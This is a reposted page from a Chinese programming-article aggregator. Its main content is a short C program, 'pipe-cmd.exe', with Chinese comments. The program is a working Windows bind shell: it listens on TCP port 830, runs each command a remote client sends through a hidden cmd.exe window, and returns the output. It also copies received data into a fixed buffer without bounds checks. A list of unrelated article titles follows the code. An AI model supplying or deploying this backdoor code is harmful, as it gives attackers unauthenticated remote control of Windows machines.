pipe-cmd.exe
来源:互联网 发布:淘宝精品推荐女装 编辑:程序博客网 时间:2024/06/13 12:29
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr1;
HANDLE hReadPipe1,hWritePipe1;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
/*
以命令为参数运行cmd.exe
(远程主机)--> 传送命令->以命令为参数建立cmd.exe子进程运行
(远程主机)<-- 输入<-管道1输出<-管道1输入<-输出(cmd.exe子进程)
*/
while(1)
{
//检查管道1,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd/ & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,启动cmd执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
return 0;
}
讨论:https://www.xfocus.net/bbs/index.php/index.php?act=ST&f=3&t=30543&view=old
- pipe-cmd.exe
- cmd.exe
- cmd.exe
- cmd.exe 逆向分析
- CMD.EXE 参数
- 生成“cmd.exe”出错
- cmd.exe参数
- cmd.exe改变编码
- Error spawning 'cmd.exe'
- cmd执行exe文件
- cmd.exe的参数
- cmd.exe简单指令
- VB运行.exe、.cmd
- cmd.exe 参数
- windows系统 ---cmd.exe
- windows系统 --cmd.exe
- cmd.asp [自定cmd.exe地址]
- 关于cmd.exe ftp.exe解决办法
- CMD.EXE 参数
- 接上一篇,在cs文件中往页面动态添加meta标签时出现“控件包含代码块(即 ),因此无法修改控件集合”错误的解决方法
- 虚拟光驱实现原理-用户层篇
- ASP读取数据库自动生成表格,可自由控制换行!
- 基于IA架构的高性能集群系统技术
- pipe-cmd.exe
- vista下扫描内存检测隐藏进程
- 强大的Drupal
- 怎样把webservice wsdl 节点中的 port name如何改为自己想要的值?
- java中Date的一些用法
- VSTS项目开发流程
- SQL分页
- AutoCAD的一个小技巧
- CRASH ANALYSIS of PPC440+OSE PLATFORM